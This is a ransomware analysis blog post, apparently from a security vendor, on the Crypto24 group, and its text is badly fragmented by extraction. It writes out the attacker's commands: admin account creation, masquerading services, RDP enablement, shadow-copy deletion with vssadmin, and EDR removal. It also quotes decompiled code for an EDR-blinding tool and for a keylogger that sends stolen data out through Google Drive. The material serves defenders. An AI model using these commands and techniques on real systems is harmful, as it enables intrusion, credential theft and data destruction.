

Crypto24 Ransomware Uncovered: Stealth, Persistence, and Enterprise-Scale Impact

S l a z e r e n H a c o l u

| 15 MIN READ CREATED ON September 29, 2025 Crypto24

Ransomware Uncovered: Stealth,

Persistence, and Enterprise-Scale Impact Emerging in late 2023, Crypto24 has grown into a sophisticated

ransomware operation targeting large enterprises across Asia, Europe, and the U.S. The group distinguishes itself by blending living-off-the-land techniques with custom malware, executing attacks quietly during off-peak hours to avoid

detection. Its use of a bespoke RealBlindingEDR tool to disable leading endpoint protections demonstrates advanced technical capability. Beyond encryption, Crypto24 conducts data theft and double extortion , often

exfiltrating files via Google Drive. With selective targeting of financially and operationally critical sectors, Crypto24 has built a reputation for stealth, precision, and adaptability, making its campaigns especially impactful. Analyzed Malware Samples of Crypto24

Ransomware Samples by Picus Labs SHA256:

3b0b4a11ad576588bae809ebb546b4d985ef9f37ed335ca5e2ba6b886d997bac SHA256:

686bb5ee371733ab7908c2f3ea1ee76791080f3a4e61afe8b97c2a57fbc2efac SHA256 :

24f7b66c88ba085d77c5bd386c0a0ac3b78793c0e47819a0576b60a67adc7b73 In this

blog, we are going to examine the group s tactics, evasion techniques, and the implications for defenders. Valid Accounts Crypto24 leveraged account manipulation to maintain privileged access. Attackers reactivated dormant default administrator accounts and created new accounts with generic names to avoid raising suspicion. Using net

.exe , they modified and re-enabled accounts, then added them to the Administrators group for elevated privileges. net user /add net user administrator /active:yes net user net localgroup administrators /add net localgroup "

Remote

Desktop Users" /add This dual strategy of reusing built-in accounts and introducing fresh ones ensured redundant privileged access, reduced detection likelihood, and enabled reliable

persistence for

lateral movement and

ransomware deployment. Discovery The actor conducted reconnaissance through two distinct command executions. System Profiling via Batch Script #Process

```
cmd.exe
```

```
/c '\ \Scan\1  
.bat'
```

```
wmic
```

```
partition get name,size, type enumerated disk partitions
```

```
wmic
```

```
computersystem get TotalPhysicalMemory,caption collected memory and OS  
details. This allowed the actor to build a profile of system hardware and  
storage configuration. Account and Privilege Enumeration # Process
```

```
cmd.exe
```

```
net user listed local accounts net localgroup identified group memberships.  
This step provided visibility into existing access and privilege levels,  
helping the actor identify potential targets for lateral movement. By combining system and account  
reconnaissance, the attacker gained a comprehensive understanding of the  
host environment, enabling effective planning for subsequent attack stages.  
Persistence Crypto24
```

ransomware actors established

persistence through scheduled tasks, malicious

```
services
```

```
, and privileged account creation, disguising activity within legitimate  
Windows processes to reduce  
detection. Scheduled Tasks # Process
```

```
wscript.exe
```

```
/
```

```
cmd.exe
```

```
%
```

```
ProgramData
```

```
%\
```

```
Update
```

```
\
```

```
update
```

```
.vbs executed
```

```
at
```

```
regular intervals %
```

```
ProgramData
```

%\

Update

\vm.bat executed

at

regular intervals These tasks ensured periodic execution of malicious payloads to maintain a foothold. Malicious

Services

Process

sc.exe

(Service

Control

) Keylogger:

sc

create WinMainSvc type = share start= auto binPath= "

C:\

Windows\

System32

\scvhost

.exe -k WinMainSvc"

Ransomware:

sc

create MSRuntime type = share start= auto binpath= "

C:\

Windows\

System32

\

svchost.exe

-k MSRuntime" displayname= "Microsoft Runtime Manager" The attacker leveraged

svchost.exe

to masquerade as legitimate

services

, enabling stealth deployment of a keylogger and the Crypto24 ransomware. Account Creation # Process

update

.bat Crypto24

ransomware holders created a new user account and added it to Administrators and

Remote

Desktop Users groups. This granted elevated privileges and

remote

access, further strengthening

persistence. Through recurring tasks, disguised

services

, and privileged accounts, the attacker ensured durable and covert access to compromised systems.

Privilege Escalation The

threat actor escalated privileges using a combination of batch scripts, runas

.exe , and

PSEXEC, granting administrative rights and enabling high-level system

access. Administrator Group Modification # Process

cmd.exe

/c

C:\

update

.bat net

.exe localgroup administrators john /add net

.exe localgroup administrators service.lot9 /add net

.exe localgroup administrators 00025436 /add net

.exe localgroup "administrators" "NetUser" /add net

.exe localgroup "

Remote

Desktop Users" "NetUser" /add net

.exe localgroup administrators IT.Guest /add These commands added multiple accounts to the Administrators and

Remote

Desktop Users groups, granting them elevated privileges and

remote

access capabilities. Runas Execution # Process

C:\

Windows\

explorer.exe

runas

.exe /user:administrator

cmd

This opened a Command Prompt session with administrator-level privileges under the specified account.

PsExec Execution # Process \$mytemp \$\\low\
psexec64
.exe -u -p

cmd

PsExec was leveraged to launch a command prompt using privileged user credentials, enabling

remote

privilege escalation and administrative

control

. Through user group modification, impersonation with runas
.exe , and

remote

execution with

PsExec, the actor ensured persistent administrative access and expanded

control

over

compromised systems. Defense Evasion To maintain access and avoid detection, the actor repeatedly created administrative accounts, initiated RDP sessions, and leveraged custom tools to weaken host defenses. A notable component was the deployment of a tool resembling RealBlindingEDR , observed across multiple endpoints, specifically designed to bypass Endpoint

Detection and Response (EDR) mechanisms. Tool Deployment The following files were identified. %USERPROFILE%. \

AppData

\Local\

Temp\Low\ AVB

.exe %USERPROFILE%. \

AppData

\Local\

Temp\Low\ AVMon

.exe %

PROGRAMDATA

%\

update

\ avb

.exe Command-Line Arguments The tool accepts a single argument to specify driver number and associated function. 1 Loads WdFilter.sys (Windows Defender Filter Driver) 2 Loads MpKslDrv.sys (Microsoft Malware Protection

Kernel Service Library Driver) 3 Loads mpsdrv.sys (Microsoft Protection Service Driver) 4 Loads WdNisDrv.sys (Windows Defender Network Inspection Service Driver) This behavior directly targeted core Microsoft security drivers to impair defense capabilities. Targeted Vendors The binary was designed to remove callbacks from drivers associated with major security vendors, including Gen Digital , Kaspersky , Sophos , Trend Micro , Malwarebytes , Bitdefender , McAfee , Fortinet , Sentinel , and others. By focusing only on identified vendors, the tool minimized risk of system instability while evading leading endpoint protections. Code Logic: Retrieving Company Name from Driver Metadata if (!VerQueryValueA(v7, "\\\" , &lpBuffer, &puLen)) { v9 = GetLastError(); sub_140005790((__int64) "Error querying version value: %lu\n" , v9); goto LABEL_13; } if (!VerQueryValueA(v7, "\\VarFileInfo\\Translation" , &v15, &v14)) { v10 = GetLastError(); sub_140005790((__int64) "Error querying translation info: %lu\n" , v10); goto LABEL_13; } sub_140005560(SubBlock, 50164 , "\\StringFileInfo\\%04x%04x\\CompanyName" , *(unsigned __int16 *)v15, *((unsigned __int16 *)v15 + 1)); if (!VerQueryValueA(v7, SubBlock, (LPVOID *)&Src, &puLen)) { v11 = GetLastError(); sub_140005790((__int64) "Error querying company name: %lu\n" , v11); goto LABEL_13; } free (v7); return strdup(Src); Code Logic: Comparing Retrieved Company Name if (!(unsigned int)get_filepath(a1, Dest)) return 0 i64; v1 = (char *)query_companyName(Dest); v2 = v1; if (!v1) return 0 i64; v3 = -1 i64; do ++v3; while (v1[v3]); if (!v3) return 0 i64; strlwr(v1); v4 = "gen digital" ; if (! strcmp (v1, "gen digital")) return 0 i64; v5 = 0 i64; while (1) { result = j_strstr(v2, v4); if (result) break ; v4 = &SubStr[++v5]; if (!v4) return result; } return (char *) 1 ; By dynamically querying driver metadata and filtering against a vendor list, the tool selectively disabled protections from well-known security products. This allowed the attacker to maintain a persistent presence on compromised hosts while evading endpoint detection and incident response mechanisms.

Lateral Movement:

Remote

Services

Following initial

compromise and account creation, the

threat actor expanded their

control

using

PSEXEC, registry modifications, and firewall rules to enable

Remote

Desktop Protocol (RDP) access. They also deployed a network scanning utility to identify additional systems in the environment for

lateral movement.

PSEXEC Service Deployment # Process

C:\Windows\ PSEXESVC

.exe This binary is installed and executed by

PSEXEC when initiating

remote

sessions. It allowed the attacker to run commands interactively on the compromised system under the context of privileged credentials. By establishing

PSEXEC service execution, the actor ensured reliable

remote

administration capabilities and a channel for pushing additional commands or payloads. Registry Modification to Enable RDP # Process

C:\

Windows\

System32

\

cmd.exe

Command

C:\

Windows\

System32

\

reg.exe

ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\

Control

\Terminal Server" /v fDenyTSConnections /t

REG

_DWORD /d 0 /f This command directly modified the registry key

fDenyTSConnections , setting its value to 0 . By doing so, the attacker

explicitly enabled RDP connections on the host, which are normally disabled in hardened environments. This

change

provided a persistent mechanism for graphical

remote

access, complementing the use of

PsExec. Firewall Rule Addition # Process

C:\

Windows\

System32

\

netsh.exe

Command advfirewall firewall add rule name= "Open

Remote

Desktop" protocol=TCP dir= in localport=3389 action=allow After enabling RDP in the registry, the attacker ensured accessibility by configuring Windows Firewall to allow inbound traffic on TCP port 3389. This effectively exposed the host to external RDP sessions, bypassing local network restrictions and strengthening their lateral movement strategy.

Network Scanning Utility # Process

C:\

Program Files\Google\Chrome\Application\ chrome

.exe # Command \$myuserprofile \$\downloads\ipscan-3.9.1- setup

.exe The actor installed Advanced IP Scanner (version 3.9.1) on one

endpoint. This tool is widely used to enumerate active devices, open ports, and reachable

services

within a local

network. By scanning for additional hosts, the attacker identified new targets for pivoting, expanding their footprint across the environment. This sequence of actions shows a clear lateral movement strategy.

PsExec provided immediate

remote

command execution. Registry edits and firewall rules enabled persistent RDP access, giving attackers flexibility to return with GUI-based sessions. Network scanning revealed further systems to compromise. Together, these techniques transformed a single compromised host into a beachhead, allowing the attacker to spread laterally, escalate access to additional systems, and maintain

persistence across the
victim s

network. Collection and Credential Access: Input Capture (Keylogging) Once
remote

access was secured, the
threat actor escalated their operation by installing a keylogger designed
to capture user input, including credentials. The component, WinMainSvc.dll
, was deployed via a batch script and configured to run as a persistent
Windows service. This ensured continuous
monitoring of user activity while blending in with legitimate processes.

Deployment via Batch Script # Process

cmd.exe

Command /c "

C:\

Users\70082156\

AppData

\Local\

Temp\Low\run_new.bat" The script facilitated execution of commands required
to install and register the malicious DLL as a service. This approach
simplified installation and avoided manual operator interaction. Service
Creation for

Persistence # Process

C:\

WINDOWS\

system32

\

sc.exe

Command

sc.exe

create WinMainSvc type = share start= auto binpath= "

C:\

Windows\

system32

\

svchost.exe

-k WinMainSvc" displayname= "Microsoft Help Manager" This command
registered the keylogger (WinMainSvc.dll) as a Windows service named
WinMainSvc , configured to automatically start with the system. By running
under

svchost.exe

, the service was disguised as a legitimate background process, making detection significantly more difficult. Through scheduled execution and service persistence, the keylogger continuously intercepted keystrokes, providing the attacker with sensitive information such as usernames, passwords, and potentially confidential data entered on the compromised host. This capability not only facilitated credential theft but also supported further lateral movement and long-term espionage objectives. Keylogger (WinMainSvc.dll): Technical Deep Dive Execution Checks and Evasion Logic The DLL verifies that it is running as a service by checking whether the command line contains

C:\

Windows\

system32

\

svchost.exe

. This prevents it from executing in unintended contexts or automated analysis environments. byte_7FF97943D9B4 = 0; ((void (__fastcall *)(_QWORD, const char *, __int64))loc_7FF9798421AD)(0LL, "

C:\

\Windows\\

system32

\\

svchost.exe

" , 260LL); LODWORD(v0) = 1080052192; off_7FF97943D890 = "

C:\

\Windows\\

system32

\\

svchost.exe

" ; if (!MEMORY[0x20840649E0]) v0 = "

C:\

\Windows\\

system32

\\

svchost.exe

" ;

```
//
```

```
C:\
```

```
Windows\
```

```
system32
```

```
\
```

```
svchost.exe
```

```
-k WinMainSvc -s WinMainSvc sub_7FF9794285F8( (__DWORD)v0, 0, 0, (unsigned  
int)&retaddr, (__int64)&v5); if ( (unsigned __int64)(int)retaddr >  
0x1FFFFFFFFFFFFFFFFLL ) return 0xFFFFFFFFLL; This evasion ensures the  
malware executes only in  
real-world scenarios where it masquerades as a legitimate Windows service.  
Keylogging Functionality The malware intercepts keyboard inputs and records
```

```
control
```

```
keys. Examples of mapped key codes include delete, backspace,
```

```
control
```

```
, tab, and escape, indicating explicit keystroke logging. aDel_0 db '[Del]'  
,0 aBk db '[BK]' ,0 aCtrl db '[Ctrl]' ,0 aTab db '[Tab]' ,0 aEsc_0 db  
'[Esc]' ,0 db '<]' ,0 db '>]' ,0 db '[^]' ,0 db '[v]' ,0 aV db '[v]' ,0  
aC_1 db '%c' ,0 This mapping highlights its ability to log both special keys  
and regular character inputs for later  
exfiltration.
```

```
Exfiltration via Google Drive API Captured keystrokes were uploaded to  
Google Drive using a custom function that leveraged the WinINet API . The  
pseudocode demonstrates how the malware establishes a connection to Google  
s API, authenticates with an access token, and uploads collected data. v6 =  
InternetOpenA( "GoogleDriveAPI" , 0, 0LL, 0LL, 0LL); v7 =  
InternetConnectA(v6, "www.googleapis.com" , 0x1BBu, 0LL, 0LL, 3u, 0, 0LL);  
v8 = sub_7FF97929E658(v21, "/drive/v3/files/" , a3); sub_7FF97929E770(v20,  
v8, "alt=media" ); sub_7FF979291588((__int64)v21, v9); v10 = (const CHAR  
)sub_7FF9792FE9C(); v11 = HttpOpenRequestA(v7, "GET" , v10, 0LL, 0LL, 0LL,  
0x8000000u, 0LL); sub_7FF97929E968(v19, "Authorization: Bearer " , a2);  
HttpSendRequestA(v11, v12, a3, 0LL, 0); while ( InternetReadFile(v11, v22,  
0x1000u, v16) && v16[0] ) { sub_7FF979299ACC(a1, (__int64)v22, v16[0]); }  
The malware first created a test file ( test.txt ) with the string Test to  
validate connectivity and upload functionality before exfiltrating  
keystrokes. sprintf(v63, "%s\\test.txt" , *(const char **)Buffer);  
strcpy((char *)&v94, "Test" ); fopen(v9, "wb" );  
// writes "Test" ... renamed_logs( "upload updated text" );  
DeleteFileA(v17);
```

Persistence and

Remote

Access Reinforcement To ensure reliable

remote

access and continued keylogging, the actor relied on Windows Management Instrumentation (WMI) , firewall modifications, and later, direct DLL patching: EDR Removal and

Payload Execution # Process 1

Gpscript.exe

Commands 1

cmd

/c "% \VisionOne\remover\VisionOne_removal_v2
.bat"

c:\

temp\vo_remove2\xbcuninstaller
.exe

cmd

/c "% \VisionOne\remover\VisionOne_removal_v2
.bat"

C:\

temp\vo_remove2\XBCUninstaller
.exe # Process 2

C:\

Windows\

System32

\

cmd.exe

Commands 2 /c

vssadmin

delete shadows /all /quiet These actions disabled backups and security tools, enabling successful

ransomware encryption and ransom note creation. Through WinMainSvc.dll , the attacker combined input capture, stealthy service execution, cloud-based

exfiltration, and repeated RDP reinforcement with additional

remote

access tools. The eventual use of MSRuntime.dll as

ransomware shows how initial keylogging evolved into full-scale compromise, data theft, and destructive impact. Crypto24

Ransomware Analysis Our analysis of the Crypto24

ransomware reveals a hardened binary protected with VMProtect virtualization , designed to obstruct static analysis and reverse engineering. By leveraging dynamic analysis and memory dumping, we were able to bypass these protections and extract the unpacked payload, providing visibility into its full functionality. API Hashing and Obfuscation Crypto24 implements API hashing to dynamically resolve NTDLL functions, concealing sensitive API calls from static inspection and signature-based detection. Instead of referencing APIs directly, the binary computes hashes to retrieve them

at

```
runtime. void renamed_getNtdllFunctions ( void ) { longlong
*ntdll_imagebase; longlong *RtlCreateHeap; ntdll_imagebase =
renamed_LoadLibraryA( "ntdll.dll" ); NtClose = renamed_getProcAddress(
0x33a2258c , ntdll_imagebase); RtlCreateHeap = renamed_getProcAddress(
0xc530d412 , ntdll_imagebase); _RtlCreateHeap = (undefined *)RtlCreateHeap;
RtlAllocateHeap = (undefined *)renamed_getProcAddress( 0xff4b463e ,
ntdll_imagebase); RtlFreeHeap = (undefined *)renamed_getProcAddress(
0xb1aa3547 , ntdll_imagebase); RtlInitUnicodeString = (undefined
*)renamed_getProcAddress( 0x9297f2dd , ntdll_imagebase);
RtlNtStatusToDosErrorNoTeb = (undefined *)renamed_getProcAddress(
0x1b4c788f , ntdll_imagebase); NtAllocateVirtualMemory = (undefined
*)renamed_getProcAddress( 0xa7095667 , ntdll_imagebase); RtlAcquirePebLock
= (undefined *)renamed_getProcAddress( 0x251bf977 , ntdll_imagebase);
RtlReleasePebLock = (undefined *)renamed_getProcAddress( 0xef714976 ,
ntdll_imagebase); LdrEnumerateLoadedModules = (undefined
*)renamed_getProcAddress( 0xfe2bf8 , ntdll_imagebase); NtOpenKey =
(qword)renamed_getProcAddress( 0x36a9874 , ntdll_imagebase);
NtQueryValueKey = (undefined *)renamed_getProcAddress( 0x7c909119 ,
ntdll_imagebase); PTR_DAT_7ffb9a7d36b08 = (undefined *)((*code
*)RtlCreateHeap)(HEAP_GROWABLE, 0 , 0 , 0 ); renamed_autoRunRegistry();
return ; } This
```

technique complicates static analysis and allows Crypto24 to evade traditional

detection by hiding critical API usage.

Privilege Escalation Crypto24 exploits the CMSTPLUA COM interface ({3E5FC7F9-9A51-4367-9063-A120244FBEC7}) to bypass User Account

Control

(UAC), a method also

observed in advanced

ransomware families like BlackCat and LockBit . This allows execution with elevated privileges without triggering UAC prompts . /*

{3E5FC7F9-9A51-4367-9063-A120244FBEC7} */ psVar2[0] = 0x7b ; A secondary method involves execution with runas for administrative privileges:

/exefilename "

cmd.exe

" /commandline "/c%s" /WindowState 0 /runas %d /run

Persistence via Service Installation The

ransomware establishes

persistence by installing itself as a Windows service named MSRuntime . It uses a templated batch script where SVC_NAME is dynamically replaced.

echo off copy "%~s1" "%~s2" /y

sc

create SVC_NAME type= share start= auto binpath= "%~s2\

svchost.exe

-k SVC_NAME" displayname= "Microsoft Runtime Manager"

reg

add "

HKLM

\SYSTEM\CurrentControlSet\

Services

\SVC_NAME\Parameters" /v "ServiceDll" /t

REG

_EXPAND_SZ /d "%~s2\SVC_NAME.dll" /f

reg

add "

HKLM

\SYSTEM\CurrentControlSet\

Services

\SVC_NAME\Parameters" /v "ServiceMain" /t

REG

_SZ /d "ServiceMain" /f

reg

add "

HKLM

\SYSTEM\CurrentControlSet\

Services

```
\SVC_NAME" /v "Description" /d "Microsoft Runtime Framework" /f
```

```
reg
```

```
add "
```

```
HKLM
```

```
\SOFTWARE\Microsoft\Windows NT\
```

```
CurrentVersion\
```

```
Svchost
```

```
" /v SVC_NAME /t
```

```
REG
```

```
_MULTI_SZ /d "SVC_NAME" /f
```

```
sc
```

```
start SVC_NAME timeout /t 5 del /f /q "%~s" Despite VMProtect obfuscation,  
memory analysis confirmed replacement of placeholders with MSRuntime ,  
verifying this
```

```
persistence mechanism. Execution Context Validation To ensure correct  
execution, the
```

```
ransomware verifies that it is launched under
```

```
svchost.exe
```

```
. /*
```

```
C:\
```

```
Windows\
```

```
system32
```

```
\
```

```
svchost.exe
```

```
-k MSRuntime -s MSRuntime */ parse_cmdline(pcVar4, 0 , 0 ,  
&stack0x00000000, local_res8); This ensures the malware operates as a  
Windows service , avoiding anomalies that may expose it during analysis.  
Anti-Forensics and Logging Crypto24 logs activity to
```

```
C:\
```

```
Windows\
```

```
System32
```

```
\erls.txt , likely for debugging or operational tracking.
```

```
renamed_writeLogsToErls( ( char *) "erls.txt" , ( char *) "except return  
File
```

```
:: %s
```

```
-> %d" , pcVar1, ( char *) 0x1 ); It also excludes specific files and  
binaries related to its own operation from encryption, such as: adm
```

```
.exe msruntime.dll rms.bat runtimes
```

```
.exe
```

Targeted Files and Directories The

ransomware focuses on user and enterprise-critical paths, including: \

AppData

\Local\ , \

AppData

\Roaming\

C:\

Program Files\ (Google, Dropbox, VMware, etc.)

C:\

ProgramData

\ (Microsoft OneDrive, AhnLab, Trend Micro) User directories (

C:\

Users,

C:\

Users\Public) This broad targeting indicates an intent to maximize impact across business environments while excluding its own runtime files.

Registry Usage Crypto24 maintains state information in the registry under:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSRuntime Example values: D_cnt

counter value (0x30) D_th0 D_th11 directory paths used during encryption

Process Termination Crypto24 attempts to terminate processes linked to cloud storage and sync

services

that could interfere with encryption: chromeremotedesktop

.exe dropbox

.exe googledrivefs

.exe onedrive

.exe File Encryption The

ransomware appends the .crypto24 extension to encrypted files:

FUN_7ffb9a65215c(local_120, L"%s.crypto24" , *param_1); Ransom Note

Deployment The

ransomware drops Decryption.txt with double-extortion threats, data is both encrypted and threatened with public release if ransom is not paid.

"*****\tAll your files Stolen and Encrypted!\t*****\r\n\r\n" "To Decrypt

the files, Contact me with Your Device ID and Company Name.\r\n" "Contact

Email : %s\r\n" "Device ID : %s\r\n\r\n" "If you do not contact me within

ONE Week, all of your data will be [PUBLICLY Released And Sold].\r\n"

Self-Deletion and Cleanup After execution, the

ransomware triggers batch scripts to remove

services


```
, artifacts , and itself : @  
echo off
```

```
sc
```

```
stop MSRuntime
```

```
sc
```

```
delete MSRuntime
```

```
taskkill /f /im adm
```

```
.exe del /f /q "
```

```
C:\
```

```
Users\ \
```

```
AppData
```

```
\Local\
```

```
Temp\adm
```

```
.exe" del /f /q "
```

```
C:\
```

```
Users\ \
```

```
AppData
```

```
\Local\
```

```
Temp\rmsw.bat" These routines eliminate forensic evidence and reduce  
chances of
```

```
detection post-encryption. Targeting Profile Crypto24 primarily targets  
large corporations and enterprise organizations across Asia , Europe , and  
the USA , with a focus on: Financial
```

```
services
```

```
Manufacturing Entertainment Technology sectors Its use of VMProtect, UAC  
bypasses, service
```

```
persistence, selective targeting, and double extortion demonstrate a highly  
sophisticated
```

```
ransomware family focused on financially and operationally critical victims  
. How Picus Helps Defend Against Crypto24
```

```
Ransomware Attacks? The Picus Security Validation Platform safely simulates  
Crypto24
```

```
Ransomware s techniques using its continuously updated Threat Library,  
identifying blind spots across EDRs, NGFWs, and SIEMs before attackers can  
exploit them. You can also test your defenses against hundreds of other  
ransomware variants, such as Interlock , Akira , Anubis
```

```
ransomware campaigns within minutes with a 14-day
```

```
free trial of the Picus Platform . Threat ID Threat Name Attack Module 80009  
Crypto24
```

Ransomware Download Threat
Network Infiltration